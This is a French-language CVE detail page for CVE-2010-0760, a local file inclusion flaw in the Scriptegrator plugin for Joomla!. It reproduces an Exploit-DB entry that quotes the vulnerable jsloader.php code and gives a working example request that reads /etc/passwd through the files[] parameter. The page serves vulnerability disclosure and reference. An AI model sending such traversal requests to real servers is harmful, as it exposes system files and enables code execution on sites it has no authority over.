CVE-2010-0760 : Détail

CVE-2010-0760

Directory Traversal
A01-Broken Access Control
0.56%V3
Network
2010-02-27
00h00 +00:00
2024-09-17
01h41 +00:00
CVE.org
NVD
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Descriptions du CVE

Multiple directory traversal vulnerabilities in the Core Design Scriptegrator plugin 1.4.1 for Joomla! allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the (1) file parameter to libraries/jquery/js/ui/jsloader.php and the (2) files[] parameter to libraries/jquery/js/jsloader.php, a different vector than CVE-2010-0759. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 11498

Date de publication : 2010-02-17 23h00 +00:00
Auteur : S2 Crew
EDB Vérifié : Yes

# Exploit Title: Core Design Scriptegrator plugin for Joomla! 1.5 file inclusion # Author: S2 Crew [Hungary] # Tested on: Debian Linux, Apache, Joomla! 1.5 # Code: There's a file called jsloader.php which takes an array of file names from the HTTP GET parameters and calls include() on every one of them. -----------------8<----------------------------------------------- <?php /** * Core Design Scriptegrator plugin for Joomla! 1.5 */ define('DS', DIRECTORY_SEPARATOR); $dir = dirname(__FILE__); $files = array(); if (isset($_GET['files']) && $_GET['files']) $files = $_GET['files']; if (extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler'); header("Content-type: application/x-javascript"); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT'); foreach ($files as $file) { if (is_file($file)) { include($file); echo "\n"; } } ?> -----------------8<----------------------------------------------- The problem is that the only protection is the is_file() call (therefore it cannot be used for remote file inclusion), so it's trivial to exploit this vulnerability to execute the PHP interpreter on any file on the target system the httpd user can read. Example: http://server/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd

Products Mentioned

Configuraton 0

Greatjoomla>>Scriptegrator_plugin >> Version 1.4.1

    Joomla>>Joomla\! >> Version *

    Références

    http://secunia.com/advisories/38637
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.osvdb.org/62484
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.osvdb.org/62485
    Tags : vdb-entry, x_refsource_OSVDB